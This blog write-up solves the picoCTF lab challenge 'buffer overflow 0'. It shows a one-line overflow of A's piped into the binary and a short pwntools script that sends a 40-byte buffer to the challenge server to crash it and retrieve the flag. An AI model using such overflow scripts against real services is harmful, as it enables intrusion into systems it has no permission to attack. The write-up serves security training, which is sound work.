Ulli Weichert/ April 5, 2022/ IT-Security, Write-Ups/ 0Kommentare

buffer overflow 0

Description

Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here.
And connect with it using:
nc saturn.picoctf.net 65445

Solving

1. Download the sourcecode and the program
2. If we check the sourcecode we will see, that a sigsev will give us a flag
3. Playing with program (try buffer overflow - chall title)
   1. You should create fake flag 🙂
4. Send some A's into the program
5. Take the flag.. 😀

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./vuln

Here is a script, that connects to the server and gets the flag for you:

#!/usr/bin/env python

from pwn import *

host,port = 'saturn.picoctf.net', 65445

offset = 40
overflow = "A" * offset

try:
  s = remote(host, port)
  s.recvuntil(b'Input:')
  print("Sending evil buffer...")
  s.sendline(bytes(overflow,"latin-1"))
  s.recv()
  flag = s.recv().decode('utf-8')
  print("Flag: " + flag.strip())
  print("Done!")
except:
  print("Could not connect.")

s.close